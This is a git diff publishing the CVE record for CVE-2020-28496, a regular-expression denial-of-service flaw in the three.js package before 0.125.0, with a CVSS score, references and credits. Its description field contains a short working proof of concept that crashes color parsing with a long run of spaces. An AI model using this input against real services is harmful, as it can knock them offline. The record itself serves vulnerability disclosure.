diff --git a/2020/28xxx/CVE-2020-28496.json b/2020/28xxx/CVE-2020-28496.json index fe9a4b68f67..07d2822a308 100644 --- a/2020/28xxx/CVE-2020-28496.json +++ b/2020/28xxx/CVE-2020-28496.json @@ -3,16 +3,100 @@ "data_format": "MITRE", "data_version": "4.0", "CVE_data_meta": { + "ASSIGNER": "report@snyk.io", + "DATE_PUBLIC": "2021-02-18T14:18:29.728676Z", "ID": "CVE-2020-28496", - "ASSIGNER": "cve@mitre.org", - "STATE": "RESERVED" + "STATE": "PUBLIC", + "TITLE": "Regular Expression Denial of Service (ReDoS)" + }, + "affects": { + "vendor": { + "vendor_data": [ + { + "product": { + "product_data": [ + { + "product_name": "three", + "version": { + "version_data": [ + { + "version_affected": "<", + "version_value": "0.125.0" + } + ] + } + } + ] + }, + "vendor_name": "n/a" + } + ] + } + }, + "problemtype": { + "problemtype_data": [ + { + "description": [ + { + "lang": "eng", + "value": "Regular Expression Denial of Service (ReDoS)" + } + ] + } + ] + }, + "references": { + "reference_data": [ + { + "refsource": "CONFIRM", + "url": "https://snyk.io/vuln/SNYK-JS-THREE-1064931" + }, + { + "refsource": "CONFIRM", + "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972" + }, + { + "refsource": "CONFIRM", + "url": "https://github.com/mrdoob/three.js/issues/21132" + }, + { + "refsource": "CONFIRM", + "url": "https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e" + } + ] }, "description": { "description_data": [ { "lang": "eng", - "value": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided." + "value": "This affects the package three before 0.125.0.\n This can happen when handling rgb or hsl colors.\r\n\r\nPoC:\r\n\r\nvar three = require('three')\r\n\r\n\r\n\r\nfunction build_blank (n) {\r\n var ret = \"rgb(\"\r\n for (var i = 0; i < n; i++) {\r\n ret += \" \"\r\n }\r\n\r\n return ret + \"\";\r\n}\r\n\r\nvar Color = three.Color\r\n\r\nvar time = Date.now();\r\nnew Color(build_blank(50000))\r\nvar time_cost = Date.now() - time;\r\nconsole.log(time_cost+\" ms\")\r\n\n" } ] - } + }, + "impact": { + "cvss": { + "version": "3.1", + "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", + "baseScore": 7.5, + "baseSeverity": "HIGH", + "attackVector": "NETWORK", + "attackComplexity": "LOW", + "privilegesRequired": "NONE", + "userInteraction": "NONE", + "scope": "UNCHANGED", + "confidentialityImpact": "NONE", + "integrityImpact": "NONE", + "availabilityImpact": "HIGH" + } + }, + "credit": [ + { + "lang": "eng", + "value": "Yeting Li" + }, + { + "lang": "eng", + "value": "Liyuan Chen" + } + ] } \ No newline at end of file